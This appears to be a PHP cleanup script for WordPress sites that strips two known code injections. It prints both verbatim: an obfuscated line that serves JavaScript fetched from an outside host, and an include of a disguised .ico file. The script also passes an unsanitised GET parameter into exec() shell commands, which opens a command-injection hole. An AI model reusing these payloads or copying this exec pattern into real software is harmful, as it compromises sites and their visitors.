Fix PHP code injection in wordpress websites

php-injection-analysis-fix.php

<?php
$folder = $_GET["target"] ? "./" . $_GET["target"] : "./";
$output = [];

$infection1 = "<?php error_reporting(0); ini_set(chr(100).chr(105).chr(115).chr(112).chr(108).chr(97).chr(121).chr(95).chr(101).chr(114).chr(114).chr(111).chr(114).chr(115), 0); echo @file_get_contents(chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(97).chr(108).chr(115).chr(117).chr(116).chr(114).chr(97).chr(110).chr(115).chr(46).chr(99).chr(111).chr(109).chr(47).chr(115).chr(116).chr(97).chr(116).chr(115).chr(46).chr(106).chr(115)); ?>";
$infection2 = "@include \"\057h\157m\1454\057m\151k\141o\145l\151/\160u\142l\151c\137h\164m\154/\141n\164-\143o\155p\141n\171.\156e\164/\167p\055c\157n\164e\156t\057p\154u\147i\156s\057w\160-\163u\160e\162-\143a\143h\145/\0566\0709\0638\066a\146.\151c\157\";";

// $infection = escapeshellcmd("echo @file_get_contents");

echo "<pre>";
echo "** Starting analysis and fixing of $folder **\n";
exec("grep -rl '@file_get_contents(chr(104)' $folder", $output);
foreach ($output as $key => $filepath) {
  echo "$filepath\n";
  exec("sed -i -e 's/$infection1//' $filepath");
  exec("sed -i -e 's/$infection2//' $filepath");
}
echo ("</pre>");